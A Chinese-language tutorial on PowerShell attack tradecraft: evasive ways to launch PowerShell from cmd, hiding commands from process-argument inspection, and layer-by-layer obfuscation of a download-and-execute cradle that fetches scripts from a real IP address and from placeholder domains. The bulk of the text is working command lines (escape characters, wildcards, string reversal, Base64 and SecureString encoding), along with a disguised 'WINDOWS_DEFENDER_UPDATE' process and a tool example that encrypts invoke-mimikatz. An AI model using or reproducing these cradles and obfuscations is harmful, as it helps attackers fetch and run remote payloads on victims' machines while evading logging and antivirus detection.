目前大多數攻擊者已經將PowerShell 利用在了各種攻擊場景中,如內網滲透,APT攻擊甚至包括現在流行的勒索軟件中。powershell的功能強大且調用方式十分靈活,靈活使用powershell可以更加方便的管理windows。

1. cmd啓動powershell

首先看看powershel使用cmd.exe啓動執行代碼的方式:

1.1 常規方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"

1.2 管道輸入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

1.3 利用環境變量

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'));

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)

在父進程中隱藏運行的代碼:上面第二種方式運行時,如果使用進程查看,可以在父進程啓動參數中cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -,看到你執行的代碼,因爲此時powershell -的父進程是第一個cmd.exe,所以可以使用cmd中的轉義符號^將|轉義後,如

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell -,第二個cmd後面對命令行來說是一個整體,然後執行cmd /c echo %cmd%|powershell -,此時powershell -的父進程就是第二個cmd了,看不到我們執行的代碼了。

1.4 從其他進程獲取參數

首先啓動多個cmd進程,這些進程參數中包含要執行的代碼

cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"

然後在powershell中提取出來IEX (IWR https://7ell.me/power)執行,如:

cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"

1.5 從粘貼板

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

這些方法可以在powershell日誌中看到,所以開啓powershell的日誌分析很重要。

但是,如果是混淆的,日誌中也僅僅是記錄了混淆後的東西。

2. 混淆

Hacker在攻擊時經常會遠程下載代碼腳本執行,這裏基於這樣的一條標準的下載文件命令來進行變形混淆。

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://182.92.120.156:10001/demo.ps1")

在混淆之前,先看看powershell獲取環境變量的方式。

Get-Variable/GV/Variable cmd -ValueOnly

-ValueOnly可以簡寫爲-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V

(Get-Item/GI/Item Variable:cmd).Value

(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value

後面很多構造會用到這些方式的。

2.0 簡單處理

Invoke-Expression (New-Object System.Net.WebClient).DownloadString(" http://abc.ltd/demo.ps1 ")

可以去掉System

Invoke-Expression (New-Object Net.WebClient).DownloadString(" http://abc.ltd/demo.ps1 ")

將http分開+號連接

Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://abc .ltd/demo.ps1 ")

變量代替

IEX $wc=New-Object Net.WebClient;$wc.DownloadString( "ht"+"tp://abc.ltd/demo.ps1" )

把downloadstring使用單雙引號引起來

Invoke-Expression (New-Object Net.WebClient)."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

使用invoke方法

Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke("ht"+"tp://abc.ltd/demo.ps1")

$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke( "ht"+"tp://abc.ltd/demo.ps1" )

以上單雙引號可以切換

2.1 轉義符(反引號)

查看幫助Get-Help about_Escape_Characters

以下爲 Windows PowerShell 能夠識別的特殊字符:

轉義符號加在其他字符前不影響字符的意思,避免在0,a,b,f,n,r,t,v的小寫字母前出現即可。

在DownloadString中使用轉義符

Invoke-Expression (New-Object Net.WebClient)."Down`loadString"( "ht"+"tp://abc.ltd/demo.ps1" )

Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"( "ht"+"tp://abc.ltd/demo.ps1" )

Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"( "ht"+"tp://abc.ltd/demo.ps1" )

同樣可以使用在Net.Webclient上

Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"( "ht"+"tp://abc.ltd/demo.ps1" )

括號代替空格,或者多個定義變量來連接替換

Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"( "ht"+"tp://abc.ltd/demo.ps1" )

$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"( "ht"+"tp://abc.ltd/demo.ps1" )

2.2 簡寫與通配符*

e.g :Get-Comamd New-Ob*

以下幾種處理都可以代替 Get-Command New-Object ; Get-Comamnd 可簡寫爲 GCM

&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct)

.(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct)

$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)

結合其他方法混淆

Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

Ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

2.3 腳本塊

使用腳本塊

Invoke-command{xxxx} ICM{xxxx} {xxxx}.invoke() &{xxxx} .{xxxx}

$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")

${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")

$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")

${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")

$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")

Scriptblock類方法,[Scriptblock]相當於[Type]("Scriptblock")

[Scriptblock]::Create("expression")

([Type]"Scriptblock")::create('expression')

[Scriptblock]::("Create").Invoke("expression")

([Type]("Scriptblock"))::("Create").Invoke("expression")

[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression")

([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")

可以構造出下面的式子混淆

(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( "ht"+"tp://abc.ltd/demo.ps1" ))

2.4 字符串處理

反轉

$reverseCmd= ")'1sp.omed/dtl.cba.www//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";

1、IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX

2、$reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray);IEX ($reverseCmdCharArray-Join '') | IEX

3、IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX

分割截斷 or 替換字符

$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('ht'+'tp://abc.ltd/demo.ps1')";

1、IEX ($cmdWithDelim.Split("~~") -Join '') | IEX

2、IEX $cmdWithDelim.Replace("~~","") | IEX

3、IEX ($cmdWithDelim-Replace "~~","") | IEX

格式填充,-f 格式化。

//將NE download http://分別填到{0},{1},{2}

IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}a .ltd/demo.ps1 ")' -f 'Ne', 'Download','http://') | IEX

//示例2

.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2

}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','e','mo.ps1','/','abc.ltd/d','ht'))

變量拼接

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://abc.ltd/demo.ps1')";

1、IEX ($c1,$c2,$c3 -Join '') | IEX

2、IEX ($c1,$c3 -Join $c2) | IEX

3、IEX ([string]::Join($c2,$c1,$c3)) | IEX

4、IEX ([string]::Concat($c1,$c2,$c3)) | IEX

5、IEX ($c1+$c2+$c3) | IEX

6、IEX "$c1$c2$c3" | IEX

2.5 編碼

ASCII

使用[char]xx 代替字符 如:[char]59-->;

//不用分號

$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX

Base64

命令行參數使用

-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E

解碼echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA

1、PS 2.0 -> [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')

2、PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')

.NET的方法

IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))

其他不同的方式編碼 hex/octal/binary/BXOR/etc.

[Convert]::ToString(1234, 2) // 二進制

[Convert]::ToString(1234, 8) // 八進制

[Convert]::ToString(1234, 16) // 十六進制

也是轉換爲16進制

"{0:X4}" -f 1234 小寫: "{0:x4}" -f 1234

[Byte][Char]([Convert]::ToInt16($_,16))

($cmd.ToCharArray() | % {[int]$_}) -Join $delim //可以去掉空白 -Join$delim

$bytes[$i] = $bytes[$i] -BXOR 0x6A //可以去點空白 $bytes[$i]-BXOR0x6A)

SecureString

關於SecureString: Get-Comamnd *secure-string*

https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/

https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-2/

$secPwd= Read-Host "Enter password" -AsSecureString

$secPwd= "echo 123" | ConvertTo-SecureString -AsPlainText -Force

$secPwd| ConvertFrom-SecureString

加密指定key

$cmd= "code"

$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force

$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

$secCmdPlaintext

解密

echo xxxx| ConvertTo-SecureString -Key (1..16)

示例

$cmd= "echo 123"

$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force

$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

運行

$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX

2.6 自構造關鍵字替換

就是在其他命令的輸出下查看觀察目標字符串位置,然後提取出來。比如DownlaodString的構造替換

DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)

IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://abc.me/')

再結合get-command的變形

IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://abc.me/')

根據這樣的思路結合上面提到的獲取環境變量方法,可以把New-Object層層混淆爲

(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)

3. IEX 的處理與其他執行方法

經過上面構造可以看到很多都使用Invoke-Expression/IEX命令,.,&符號來執行表達式。

Invoke-Expression/IEX命令是很常用的一個命令, 運行一個以字符串形式提供的PowerShell表達式。

這裏也先看看代替IEX的各種執行方式

Get-Alias/GAL

&(GAL I*X)

.(LS Alias:/I*X)

Get-Command/GCM

.(GCM I*e-E*)

&(Command I*e-E*)

GetCmdlets (PS1.0+),

$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'),

//用到環境變量

&(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')

InvokeScript (PS1.0+)

$ExecutionContext.InvokeCommand.InvokeScript($Script)

(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),

Invoke-Command/ICM

Invoke-Command ([ScriptBlock]::Create($Script))

[ScriptBlock]::Create($Script).Invoke()

.((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))

PS Runspace

[PowerShell]::Create().AddScript($Script).Invoke()

Invoke-AsWorkflow (PS3.0+)

Invoke-AsWorkflow -Expression $Script

提取串聯出IEX,也是在其他命令的輸出下查看觀察目標字符串位置,然後提取出來。

($Env:ComSpec[4,26,25]-Join'')

((LS env:/Co*pec).Value[4,26,25]-Join'')

($ShellId[1]+$ShellId[13]+'x')

((GV S*ell*d -Va)[1]+(DIR Variable:\S*ell*d).Value[13]+'x')

( ([String]''.IndexOf)[0,7,8]-Join'')

//怎麼構造?,比如上面這個 首先查看''|Get-Member有個IndexOf方法,然後看看[String]''.IndexOf的輸出,提取出裏面的IEX字母

4. 相關工具

4.1 Invoke-Obfuscation

這是一個powershell混淆編碼框架,基本涵蓋了上述的各種混淆方法,

GitHub: https://github.com/danielbohannon/Invoke-Obfuscation

使用方法: http://www.freebuf.com/sectool/136328.html

4.2 Revoke-Obfuscation

這是一個powershell混淆檢測框架,該工具能給出一個腳本是否混淆的

GitHub: https://github.com/danielbohannon/Revoke-Obfuscation

使用方法: https://javascript.ctolib.com/danielbohannon-Revoke-Obfuscation.html

4.3 xencrypt

powershell混淆加密工具

GitHub: https://github.com/the-xentropy/xencrypt

使用方法:

Import-Module ./xencrypt.ps1 Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

相關文章